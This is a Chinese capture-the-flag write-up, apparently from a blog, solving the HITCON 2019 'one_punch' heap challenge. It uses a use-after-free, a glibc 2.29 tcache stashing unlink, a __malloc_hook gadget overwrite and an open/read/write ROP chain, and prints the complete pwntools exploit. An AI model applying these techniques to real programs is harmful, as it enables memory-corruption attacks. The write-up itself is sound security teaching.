hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)

目录:

  • 程序分析:
  • 漏洞点:
  • 解题思路:
  • 解题步骤:
    • 0x01 tcache tashing unlink 绕过后门检测:
    • 0x02 用后门功能读取flag:
  • gdb调试出add rsp,48?
  • 完整exp:

程序分析:

保护全开,然后可以用图中的这些函数,用不了execve
hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)_第1张图片
然后程序大体是一个菜单类型的堆
值得一提的是选项输入55056后进入后门函数
请添加图片描述

要满足初始0x250堆里+0x20处的值大于6
这里面用的是malloc申请堆,而在外面用的是calloc
(区别在于malloc会从tcache中取内存,calloc则不会)
hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)_第2张图片

漏洞点:

存在uaf
hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)_第3张图片

解题思路:

用tcache tashing unlink修改初始0x250堆里+0x20处的值大于6,进入后门函数,在tcache修改fd,分配堆块到malloc_hook,填入gadget(add esp,0x48)
执行我们输入的压在栈上的orw语句读取flag。

解题步骤:

0x01 tcache tashing unlink 绕过后门检测:

这部分利用方法和新春红包题一样,然后
写入的值main_arena的值要偏移一下,只剩0x7f>6

for i in range(7):
    add(0,'a'*0x400)
    free(0)
add(0,'a'*0x400)
for i in range(6):
    add(1,'a'*0xf0)
    free(1)
show(1)
ru('hero name: ')
heap_base=uu64(rc(6))-0x26e0
info('heap_base',heap_base)
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#-------------------------------
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
add(0,'a'*0x300)
add(1,'a'*0x300)#small_bin1
add(1,'a'*0x400)
add(2,'a'*0x110)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x300)#small_bin2
#------------------------------
payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
edit(1,payload)
#debug()
#----------------------------
add(1, 'flag'+'\x00'*0x100)
for i in range(2):
    add(0,'a'*0x217)
    free(0)
add(2,'a'*0xf0)#tache trash unlink

值得一提的是,我们改的值0x7f对应的是tache_bin中0x220的127,所以要在触发tashing unlink前提前布置好两个0x220的bin链,为我们后续利用铺垫hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)_第4张图片

0x02 用后门功能读取flag:

用tache的uaf修改fd,往malloc_hook处写入add rsp,48;
这样如果我们add(1,orw)的话,malloc_hook会执行add rsp,48;
跳转到栈上然后执行我们的orw语句读取flag
(ps:有些syscall能用,有些syscall不能用,不知为啥)

def backdoor(content):
    sla('> ',str(50056))
    se(content)
malloc_hook=libc.sym['__malloc_hook']+libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48=0x8cfd6+libc_base
backdoor(p64(add_rsp_0x48))
#backdoor()
#------------------------------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
syscall=0x10D0B5+libc_base
#0x10CF7F,0x10D022,0x10D0B5
#debug()
flag_addr=heap_base+0x3840
write2addr=heap_base+0x3840+0x10
orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
#debug()
add(1, orw)

gdb调试出add rsp,48?

可以把脚本里的
r = process(local_file)
改为r = gdb.debug(local_file)
这样的话是直接用gdb来启动这个程序,我们把malloc_hook的值改为一个非法地址
我这里改为0x1
然后程序执行我们的脚本
到malloc_hook会坏掉,我们直接看那时候的栈就行hitcon_ctf_2019_one_punch(libc2.29 tcache tashing unlink)_第5张图片

完整exp:

from pwn import * 
local_file  = './hitcon_ctf_2019_one_punch'
local_libc  = './libc-2.29.so'
remote_libc = './libc-2.29.so'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25904 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def add(idx,name):
    sla('> ','1')
    sla('idx: ',str(idx))
    sla('hero name: ',str(name))
def edit(idx,name):
    sla('> ','2')
    sla('idx: ',str(idx))
    sla('hero name: ',str(name))
def show(idx):
    sla('> ','3')
    sla('idx: ',str(idx))
def free(idx):
    sla('> ','4')
    sla('idx: ',str(idx))
#---------------------------
for i in range(7):
    add(0,'a'*0x400)
    free(0)
add(0,'a'*0x400)
for i in range(6):
    add(1,'a'*0xf0)
    free(1)
show(1)
ru('hero name: ')
heap_base=uu64(rc(6))-0x26e0
info('heap_base',heap_base)
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#-------------------------------
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
add(0,'a'*0x300)
add(1,'a'*0x300)#small_bin1
add(1,'a'*0x400)
add(2,'a'*0x110)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x300)#small_bin2
#------------------------------
payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
edit(1,payload)
#debug()
#----------------------------
add(1, 'flag'+'\x00'*0x100)
for i in range(2):
    add(0,'a'*0x217)
    free(0)
add(2,'a'*0xf0)#tache trash unlink
def backdoor(content):
    sla('> ',str(50056))
    se(content)
malloc_hook=libc.sym['__malloc_hook']+libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48=0x8cfd6+libc_base
backdoor(p64(add_rsp_0x48))
#backdoor()
#------------------------------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
syscall=0x10D0B5+libc_base
#0x10CF7F,0x10D022,0x10D0B5
#debug()
flag_addr=heap_base+0x3840
write2addr=heap_base+0x3840+0x10
orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
#debug()
add(1, orw)
r.interactive()

你可能感兴趣的:(PWN,pwn,ctf)